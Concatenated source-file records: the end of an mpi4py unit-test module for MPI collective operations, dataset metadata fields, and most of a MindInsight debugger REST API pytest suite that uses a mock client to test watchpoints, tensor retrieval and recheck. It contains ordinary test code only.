self.assertAlmostEqual(value, i ** rank) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) def testBcastTypeIndexed(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): datatype = array.TypeMap[typecode] for root in range(size): # if rank == root: buf = array(range(10), typecode).as_raw() else: buf = array(-1, typecode, 10).as_raw() indices = list(range(0, len(buf), 2)) newtype = datatype.Create_indexed_block(1, indices) newtype.Commit() newbuf = (buf, 1, newtype) self.COMM.Bcast(newbuf, root=root) newtype.Free() if rank != root: for i, value in enumerate(buf): if (i % 2): self.assertEqual(value, -1) else: self.assertEqual(value, i) # if rank == root: buf = array(range(10), typecode).as_raw() else: buf = array(-1, typecode, 10).as_raw() indices = list(range(1, len(buf), 2)) newtype = datatype.Create_indexed_block(1, indices) newtype.Commit() newbuf = (buf, 1, newtype) self.COMM.Bcast(newbuf, root) newtype.Free() if rank != root: for i, value in enumerate(buf): if not (i % 2): self.assertEqual(value, -1) else: self.assertEqual(value, i) class BaseTestCCOBufInplace(object): def testGather(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): count = root+3 if rank == root: sbuf = MPI.IN_PLACE buf = array(-1, typecode, (size, count)) #buf.flat[(rank*count):((rank+1)*count)] = \ # array(root, typecode, count) s, e = rank*count, (rank+1)*count for i in range(s, e): buf.flat[i] = root rbuf = buf.as_mpi() else: buf = array(root, typecode, count) sbuf = buf.as_mpi() rbuf = None self.COMM.Gather(sbuf, rbuf, root=root) for value in buf.flat: self.assertEqual(value, root) @unittest.skipMPI('msmpi(==10.0.0)') def testScatter(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for root in range(size): for count in range(1, 10): if rank == root: buf = array(root, typecode, (size, count)) sbuf = buf.as_mpi() rbuf = MPI.IN_PLACE else: buf = array(-1, typecode, count) sbuf = None rbuf = buf.as_mpi() self.COMM.Scatter(sbuf, rbuf, root=root) for value in buf.flat: self.assertEqual(value, root) def testAllgather(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for count in range(1, 10): buf = array(-1, typecode, (size, count)) #buf.flat[(rank*count):((rank+1)*count)] = \ # array(count, typecode, count) s, e = rank*count, (rank+1)*count for i in range(s, e): buf.flat[i] = count self.COMM.Allgather(MPI.IN_PLACE, buf.as_mpi()) for value in buf.flat: self.assertEqual(value, count) def assertAlmostEqual(self, first, second): num = complex(second-first) den = complex(second+first)/2 or 1.0 if (abs(num/den) > 1e-2): raise self.failureException('%r != %r' % (first, second)) def testReduce(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue for root in range(size): count = size if rank == root: buf = array(range(size), typecode) sbuf = MPI.IN_PLACE rbuf = buf.as_mpi() else: buf = array(range(size), typecode) buf2 = array(range(size), typecode) sbuf = buf.as_mpi() rbuf = buf2.as_mpi() self.COMM.Reduce(sbuf, rbuf, op, root) if rank == root: max_val = maxvalue(buf) for i, value in enumerate(buf): if op == MPI.SUM: if (i * size) < max_val: self.assertAlmostEqual(value, i*size) elif op == MPI.PROD: if (i ** size) < max_val: self.assertAlmostEqual(value, i**size) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) def testAllreduce(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD): if skip_op(typecode, op): continue buf = array(range(size), typecode) sbuf = MPI.IN_PLACE rbuf = buf.as_mpi() self.COMM.Allreduce(sbuf, rbuf, op) max_val = maxvalue(buf) for i, value in enumerate(buf): if op == MPI.SUM: if (i * size) < max_val: self.assertAlmostEqual(value, i*size) elif op == MPI.PROD: if (i ** size) < max_val: self.assertAlmostEqual(value, i**size) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) def testReduceScatterBlock(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD): if skip_op(typecode, op): continue for rcnt in range(size): if op == MPI.PROD: rbuf = array([rank+1]*rcnt*size, typecode) else: rbuf = array([rank]*rcnt*size, typecode) self.COMM.Reduce_scatter_block(MPI.IN_PLACE, rbuf.as_mpi(), op) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if i >= rcnt: if op == MPI.PROD: self.assertEqual(value, rank+1) else: self.assertEqual(value, rank) else: if op == MPI.SUM: redval = sum(range(size)) if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.PROD: redval = prod(range(1,size+1)) if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.MAX: self.assertEqual(value, size-1) elif op == MPI.MIN: self.assertEqual(value, 0) @unittest.skipMPI('MVAPICH2') def testReduceScatter(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.MAX, MPI.MIN, MPI.PROD): if skip_op(typecode, op): continue rcnt = list(range(1, size+1)) if op == MPI.PROD: rbuf = array([rank+1]*sum(rcnt), typecode) else: rbuf = array([rank]*sum(rcnt), typecode) self.COMM.Reduce_scatter(MPI.IN_PLACE, rbuf.as_mpi(), rcnt, op) max_val = maxvalue(rbuf) for i, value in enumerate(rbuf): if i >= rcnt[rank]: if op == MPI.PROD: self.assertEqual(value, rank+1) else: self.assertEqual(value, rank) else: if op == MPI.SUM: redval = sum(range(size)) if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.PROD: redval = prod(range(1,size+1)) if redval < max_val: self.assertAlmostEqual(value, redval) elif op == MPI.MAX: self.assertEqual(value, size-1) elif op == MPI.MIN: self.assertEqual(value, 0) @unittest.skipMPI('openmpi(<=1.8.4)') def testScan(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() # -- for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue buf = array(range(size), typecode) self.COMM.Scan(MPI.IN_PLACE, buf.as_mpi(), op) max_val = maxvalue(buf) for i, value in enumerate(buf): if op == MPI.SUM: if (i * (rank + 1)) < max_val: self.assertAlmostEqual(value, i * (rank + 1)) elif op == MPI.PROD: if (i ** (rank + 1)) < max_val: self.assertAlmostEqual(value, i ** (rank + 1)) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) @unittest.skipMPI('openmpi(<=1.8.4)') @unittest.skipMPI('msmpi(<=4.2.0)') def testExscan(self): size = self.COMM.Get_size() rank = self.COMM.Get_rank() for array, typecode in arrayimpl.subTest(self): for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue buf = array(range(size), typecode) try: self.COMM.Exscan(MPI.IN_PLACE, buf.as_mpi(), op) except NotImplementedError: self.skipTest('mpi-exscan') if rank == 1: for i, value in enumerate(buf): self.assertEqual(value, i) elif rank > 1: max_val = maxvalue(buf) for i, value in enumerate(buf): if op == MPI.SUM: if (i * rank) < max_val: self.assertAlmostEqual(value, i * rank) elif op == MPI.PROD: if (i ** rank) < max_val: self.assertAlmostEqual(value, i ** rank) elif op == MPI.MAX: self.assertEqual(value, i) elif op == MPI.MIN: self.assertEqual(value, i) class TestReduceLocal(unittest.TestCase): def testReduceLocal(self): for array, typecode in arrayimpl.subTest(self): if unittest.is_mpi_gpu('openmpi', array): continue for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): if skip_op(typecode, op): continue size = 5 sbuf = array(range(1,size+1), typecode) rbuf = array(range(0,size+0), typecode) try: op.Reduce_local(sbuf.as_mpi(), rbuf.as_mpi()) except NotImplementedError: self.skipTest('mpi-op-reduce_local') for i, value in enumerate(rbuf): self.assertEqual(sbuf[i], i+1) if op == MPI.SUM: self.assertAlmostEqual(value, i+(i+1)) elif op == MPI.PROD: self.assertAlmostEqual(value, i*(i+1)) elif op == MPI.MAX: self.assertEqual(value, i+1) elif op == MPI.MIN: self.assertEqual(value, i) def testReduceLocalBadCount(self): for array, typecode in arrayimpl.subTest(self): if unittest.is_mpi_gpu('openmpi', array): continue for op in (MPI.SUM, MPI.PROD, MPI.MAX, MPI.MIN): sbuf = array(range(3), typecode) rbuf = array(range(3), typecode) def f(): op.Reduce_local(sbuf.as_mpi_c(2), rbuf.as_mpi_c(3)) self.assertRaises(ValueError, f) def f(): op.Reduce_local([sbuf.as_raw(), 1, MPI.INT], [rbuf.as_raw(), 1, MPI.SHORT]) self.assertRaises(ValueError, f) class TestCCOBufSelf(BaseTestCCOBuf, unittest.TestCase): COMM = MPI.COMM_SELF class TestCCOBufWorld(BaseTestCCOBuf, unittest.TestCase): COMM = MPI.COMM_WORLD @unittest.skipMPI('MPICH1') @unittest.skipMPI('LAM/MPI') @unittest.skipIf(MPI.IN_PLACE == MPI.BOTTOM, 'mpi-in-place') class TestCCOBufInplaceSelf(BaseTestCCOBufInplace, unittest.TestCase): COMM = MPI.COMM_SELF @unittest.skipMPI('MPICH1') @unittest.skipMPI('LAM/MPI') @unittest.skipIf(MPI.IN_PLACE == MPI.BOTTOM, 'mpi-in-place') class TestCCOBufInplaceWorld(BaseTestCCOBufInplace, unittest.TestCase): COMM = MPI.COMM_WORLD @unittest.skipMPI('IntelMPI', MPI.COMM_WORLD.Get_size() > 1) def testReduceScatter(self): super(TestCCOBufInplaceWorld, self).testReduceScatter() class TestCCOBufSelfDup(TestCCOBufSelf): def setUp(self): self.COMM = MPI.COMM_SELF.Dup() def tearDown(self): self.COMM.Free() @unittest.skipMPI('openmpi(<1.4.0)', MPI.Query_thread() > MPI.THREAD_SINGLE) class TestCCOBufWorldDup(TestCCOBufWorld): def setUp(self): self.COMM = MPI.COMM_WORLD.Dup() def tearDown(self): self.COMM.Free() if __name__ == '__main__': unittest.main()

43.001524

76

0.443617

2,887

28,209

4.263942

0.059577

0.045491

0.076361

0.057027

0.853615

0.82567

0.779773

0.740617

0.71251

0.701462

0

0.010465

0.454607

28,209

655

77

43.067176

0.789665

0.00553

0

0.777409

0

0.007987

0

0.13289

1

0.05814

false

0

0.006645

0

0.096346

0

null

0

1

0

1

0

null

0

7

1677a12f3d735b64d9c8b1b667493a1042c64120

35,126

py

Python

tests/st/func/debugger/test_restful_api.py

mindspore-ai/mindinsight

8c57fdd62eb7f8653662be2208633386ac82e8d7

[ "Apache-2.0" ]

216

2020-03-28T02:11:56.000Z

2022-03-31T06:20:09.000Z

tests/st/func/debugger/test_restful_api.py

mindspore-ai/mindinsight

8c57fdd62eb7f8653662be2208633386ac82e8d7

[ "Apache-2.0" ]

13

2020-03-31T03:00:12.000Z

2021-01-03T13:01:06.000Z

tests/st/func/debugger/test_restful_api.py

mindspore-ai/mindinsight

8c57fdd62eb7f8653662be2208633386ac82e8d7

[ "Apache-2.0" ]

21

2020-03-28T02:41:06.000Z

2021-11-24T12:20:25.000Z

# Copyright 2020-2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """ Function: Test query debugger restful api. Usage: pytest tests/st/func/debugger/test_restful_api.py """ import os import time from urllib.parse import quote import pytest from mindinsight.conf import settings from mindinsight.debugger.common.utils import ServerStatus from tests.st.func.debugger.conftest import DEBUGGER_BASE_URL from tests.st.func.debugger.mock_ms_client import MockDebuggerClient from tests.st.func.debugger.utils import check_state, get_request_result, \ send_and_compare_result, send_and_save_result def send_terminate_cmd(app_client): """Send terminate command to debugger client.""" url = os.path.join(DEBUGGER_BASE_URL, 'control') body_data = {'mode': 'terminate'} send_and_compare_result(app_client, url, body_data) class TestAscendDebugger: """Test debugger on Ascend backend.""" @classmethod def setup_class(cls): """Setup class.""" cls.save_results = False cls._debugger_client = MockDebuggerClient(backend='Ascend') @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_before_train_begin(self, app_client): """Test retrieve all.""" url = 'retrieve' body_data = {'mode': 'all'} expect_file = 'before_train_begin.json' send_and_compare_result(app_client, url, body_data, expect_file) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("body_data, expect_file", [ ({'mode': 'all'}, 'retrieve_all.json'), ({'mode': 'node', 'params': {'name': 'Default'}}, 'retrieve_scope_node.json'), ({'mode': 'node', 'params': {'name': 'Default/optimizer-Momentum/Parameter[18]_7'}}, 'retrieve_aggregation_scope_node.json'), ({'mode': 'node', 'params': { 'name': 'Default/TransData-op99', 'single_node': True}}, 'retrieve_single_node.json') ]) def test_retrieve_when_train_begin(self, app_client, body_data, expect_file): """Test retrieve when train_begin.""" url = 'retrieve' with self._debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) def test_get_conditions(self, app_client): """Test get conditions for ascend.""" url = '/v1/mindinsight/debugger/sessions/0/condition-collections' body_data = {} expect_file = 'get_conditions_for_ascend.json' with self._debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='get', full_url=True) send_and_compare_result(app_client, url, body_data, expect_file, method='get', full_url=True) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("body_data, expect_file", [ ({'mode': 'all'}, 'multi_retrieve_all.json'), ({'mode': 'node', 'params': {'name': 'Default', 'graph_name': 'graph_1'}}, 'retrieve_scope_node.json'), ({'mode': 'node', 'params': {'name': 'graph_0'}}, 'multi_retrieve_scope_node.json'), ({'mode': 'node', 'params': {'name': 'graph_0/Default/optimizer-Momentum/Parameter[18]_7'}}, 'multi_retrieve_aggregation_scope_node.json'), ({'mode': 'node', 'params': { 'name': 'graph_0/Default/TransData-op99', 'single_node': True}}, 'multi_retrieve_single_node.json'), ({'mode': 'node', 'params': { 'name': 'Default/TransData-op99', 'single_node': True, 'graph_name': 'graph_0'}}, 'retrieve_single_node.json') ]) def test_multi_retrieve_when_train_begin(self, app_client, body_data, expect_file): """Test retrieve when train_begin.""" url = 'retrieve' debugger_client = MockDebuggerClient(backend='Ascend', graph_num=2) with debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_create_and_delete_watchpoint(self, app_client): """Test create and delete watchpoint.""" with self._debugger_client.get_thread_instance(): check_state(app_client) conditions = [ {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, {'id': 'tensor_too_small', 'params': [{'name': 'max_lt', 'value': -1.0}]}, {'id': 'tensor_too_large', 'params': [{'name': 'min_gt', 'value': 1e+32}]}, {'id': 'tensor_too_small', 'params': [{'name': 'min_lt', 'value': -1e+32}]}, {'id': 'tensor_too_large', 'params': [{'name': 'mean_gt', 'value': 0}]}, {'id': 'tensor_too_small', 'params': [{'name': 'mean_lt', 'value': 0}]} ] for idx, condition in enumerate(conditions): create_watchpoint(app_client, condition, idx + 1) # delete 4-th watchpoint url = 'delete-watchpoint' body_data = {'watch_point_id': 4} get_request_result(app_client, url, body_data) # test watchpoint list url = 'retrieve' body_data = {'mode': 'watchpoint'} expect_file = 'create_and_delete_watchpoint.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_update_watchpoint(self, app_client): """Test retrieve when train_begin.""" watch_point_id = 1 leaf_node_name = 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc3.bias' with self._debugger_client.get_thread_instance(): check_state(app_client) condition = {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]} create_watchpoint(app_client, condition, watch_point_id) # update watchpoint watchpoint list url = 'update-watchpoint' body_data = {'watch_point_id': watch_point_id, 'watch_nodes': [leaf_node_name], 'mode': 1} get_request_result(app_client, url, body_data) # get updated nodes url = 'search' body_data = {'name': leaf_node_name, 'watch_point_id': watch_point_id} expect_file = 'search_unwatched_leaf_node.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='get') send_and_compare_result(app_client, url, body_data, expect_file, method='get') send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_retrieve_tensor_history(self, app_client): """Test retrieve tensor value.""" node_name = 'Default/TransData-op99' with self._debugger_client.get_thread_instance(): check_state(app_client) # prepare tensor value url = 'tensor-history' body_data = {'name': node_name, 'rank_id': 0} expect_file = 'retrieve_empty_tensor_history.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) # check full tensor history from poll data res = get_request_result( app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.' expect_file = 'retrieve_full_tensor_history.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_retrieve_tensor_value(self, app_client): """Test retrieve tensor value.""" node_name = 'Default/TransData-op99' with self._debugger_client.get_thread_instance(): check_state(app_client) # prepare tensor value url = 'tensor-history' body_data = {'name': node_name, 'rank_id': 0} get_request_result(app_client, url, body_data, method='post') get_request_result(app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') url = 'tensors' body_data = { 'name': node_name + ':0', 'detail': 'data', 'shape': quote('[1, 1:3]') } get_request_result(app_client, url, body_data, method='GET') # sleep 0.01 second to wait the tensor update. time.sleep(0.01) res = get_request_result( app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.' expect_file = 'retrieve_tensor_value.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='get') send_and_compare_result(app_client, url, body_data, expect_file, method='get') send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_compare_tensor_value(self, app_client): """Test compare tensor value.""" node_name = 'Default/args0' with self._debugger_client.get_thread_instance(): check_state(app_client) # prepare tensor values url = 'control' body_data = {'mode': 'continue', 'steps': 2} get_request_result(app_client, url, body_data) check_state(app_client) get_request_result( app_client=app_client, url='tensor-history', body_data={'name': node_name, 'rank_id': 0}) res = get_request_result( app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.' # get compare results url = 'tensor-comparisons' body_data = { 'name': node_name + ':0', 'detail': 'data', 'shape': quote('[:, :]'), 'tolerance': 1, 'rank_id': 0} get_request_result(app_client, url, body_data, method='GET') # sleep 0.01 second to wait the tensor update. time.sleep(0.01) res = get_request_result( app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.' expect_file = 'compare_tensors.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='get') send_and_compare_result(app_client, url, body_data, expect_file, method='get') send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_pause(self, app_client): """Test pause the training.""" with self._debugger_client.get_thread_instance(): check_state(app_client) # send run command to execute to next node url = 'control' body_data = {'mode': 'continue', 'steps': -1} res = get_request_result(app_client, url, body_data) assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}} # send pause command check_state(app_client, 'running') url = 'control' body_data = {'mode': 'pause'} res = get_request_result(app_client, url, body_data) assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}} send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("url, body_data, enable_recheck", [ ('create-watchpoint', {'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 'watch_nodes': ['Default']}, True), ('update-watchpoint', {'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7'], 'mode': 1}, True), ('update-watchpoint', {'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'], 'mode': 1}, True), ('delete-watchpoint', {}, True) ]) def test_recheck(self, app_client, url, body_data, enable_recheck): """Test recheck.""" with self._debugger_client.get_thread_instance(): create_watchpoint_and_wait(app_client) # create watchpoint res = get_request_result(app_client, url, body_data, method='post') assert res['metadata']['enable_recheck'] is enable_recheck send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_recommend_watchpoints(self, app_client): """Test generating recommended watchpoints.""" original_value = settings.ENABLE_RECOMMENDED_WATCHPOINTS settings.ENABLE_RECOMMENDED_WATCHPOINTS = True try: with self._debugger_client.get_thread_instance(): check_state(app_client) url = 'retrieve' body_data = {'mode': 'watchpoint'} expect_file = 'recommended_watchpoints_at_startup.json' send_and_compare_result(app_client, url, body_data, expect_file, method='post') send_terminate_cmd(app_client) finally: settings.ENABLE_RECOMMENDED_WATCHPOINTS = original_value @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("body_data, expect_file", [ ({'tensor_name': 'Default/TransData-op99:0', 'graph_name': 'graph_0'}, 'retrieve_tensor_graph-0.json'), ({'tensor_name': 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc1.bias:0', 'graph_name': 'graph_0'}, 'retrieve_tensor_graph-1.json') ]) def test_retrieve_tensor_graph(self, app_client, body_data, expect_file): """Test retrieve tensor graph.""" url = 'tensor-graphs' with self._debugger_client.get_thread_instance(): create_watchpoint_and_wait(app_client) get_request_result(app_client, url, body_data, method='GET') # sleep 0.01 second to wait the tensor update. time.sleep(0.01) # check full tensor history from poll data res = get_request_result( app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') assert res.get('receive_tensor', {}).get('tensor_name') == body_data.get('tensor_name') if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='GET') send_and_compare_result(app_client, url, body_data, expect_file, method='GET') send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_load(self, app_client): """Test load.""" node_name = 'Default/TransData-op99' with self._debugger_client.get_thread_instance(): check_state(app_client) # prepare tensor value url = 'tensor-history' body_data = {'name': node_name, 'rank_id': 0} get_request_result(app_client, url, body_data, method='post') get_request_result(app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') url = 'tensor-files/load' body_data = {'name': 'Default/TransData-op99:0', 'rank_id': 0} res = get_request_result(app_client, url, body_data, method='post') assert res == {'node_name': 'Default/TransData-op99:0'} time.sleep(0.01) res = get_request_result( app_client=app_client, url='poll-data', body_data={'pos': 0}, method='get') assert res.get('receive_tensor', {}).get('node_name') == node_name, 'Node name unmatched.' send_terminate_cmd(app_client) class TestGPUDebugger: """Test debugger on Ascend backend.""" @classmethod def setup_class(cls): """Setup class.""" cls.save_results = False cls._debugger_client = MockDebuggerClient(backend='GPU') @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_next_node_on_gpu(self, app_client): """Test get next node on GPU.""" gpu_debugger_client = MockDebuggerClient(backend='GPU') check_state(app_client, 'pending') with gpu_debugger_client.get_thread_instance(): check_state(app_client) # send run command to get watchpoint hit url = 'control' body_data = {'mode': 'continue', 'level': 'node', 'name': 'Default/TransData-op99'} res = get_request_result(app_client, url, body_data) assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}} # get metadata check_state(app_client) url = 'retrieve' body_data = {'mode': 'all'} expect_file = 'retrieve_next_node_on_gpu.json' if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("url, body_data, enable_recheck", [ ('create-watchpoint', {'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 'watch_nodes': ['Default']}, True), ('create-watchpoint', {'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 'watch_nodes': ['Default/TransData-op99']}, True), ('update-watchpoint', {'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7'], 'mode': 1}, True), ('update-watchpoint', {'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'], 'mode': 1}, True), ('update-watchpoint', [{'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'], 'mode': 1}, {'watch_point_id': 1, 'watch_nodes': ['Default/optimizer-Momentum'], 'mode': 0} ], True), ('update-watchpoint', [{'watch_point_id': 1, 'watch_nodes': ['Default/TransData-op99'], 'mode': 1}, {'watch_point_id': 1, 'watch_nodes': ['Default/TransData-op99'], 'mode': 0} ], True), ('delete-watchpoint', {'watch_point_id': 1}, True) ]) def test_recheck_state(self, app_client, url, body_data, enable_recheck): """Test update watchpoint and check the value of enable_recheck.""" with self._debugger_client.get_thread_instance(): create_watchpoint_and_wait(app_client) if not isinstance(body_data, list): body_data = [body_data] for sub_body_data in body_data: res = get_request_result(app_client, url, sub_body_data, method='post') assert res['metadata']['enable_recheck'] is enable_recheck send_terminate_cmd(app_client) def test_get_conditions(self, app_client): """Test get conditions for gpu.""" url = '/v1/mindinsight/debugger/sessions/0/condition-collections' body_data = {} expect_file = 'get_conditions_for_gpu.json' with self._debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='get', full_url=True) send_and_compare_result(app_client, url, body_data, expect_file, method='get', full_url=True) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training def test_recheck(self, app_client): """Test recheck request.""" with self._debugger_client.get_thread_instance(): create_watchpoint_and_wait(app_client) # send recheck when disable to do recheck get_request_result(app_client, 'recheck', {}, method='post', expect_code=400) # send recheck when enable to do recheck create_watchpoint(app_client, {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 2) res = get_request_result(app_client, 'recheck', {}, method='post') assert res['metadata']['enable_recheck'] is False send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("filter_condition, expect_file", [ ({'name': 'fc', 'node_category': 'weight'}, 'search_weight.json'), ({'name': 'fc', 'node_category': 'gradient'}, 'search_gradient.json'), ({'node_category': 'activation'}, 'search_activation.json') ]) def test_search_by_category(self, app_client, filter_condition, expect_file): """Test recheck request.""" with self._debugger_client.get_thread_instance(): check_state(app_client) send_and_compare_result(app_client, 'search', filter_condition, expect_file, method='get') send_terminate_cmd(app_client) class TestMultiGraphDebugger: """Test debugger on Ascend backend for multi_graph.""" @classmethod def setup_class(cls): """Setup class.""" cls.save_results = False cls._debugger_client = MockDebuggerClient(backend='Ascend', graph_num=2) @pytest.mark.level0 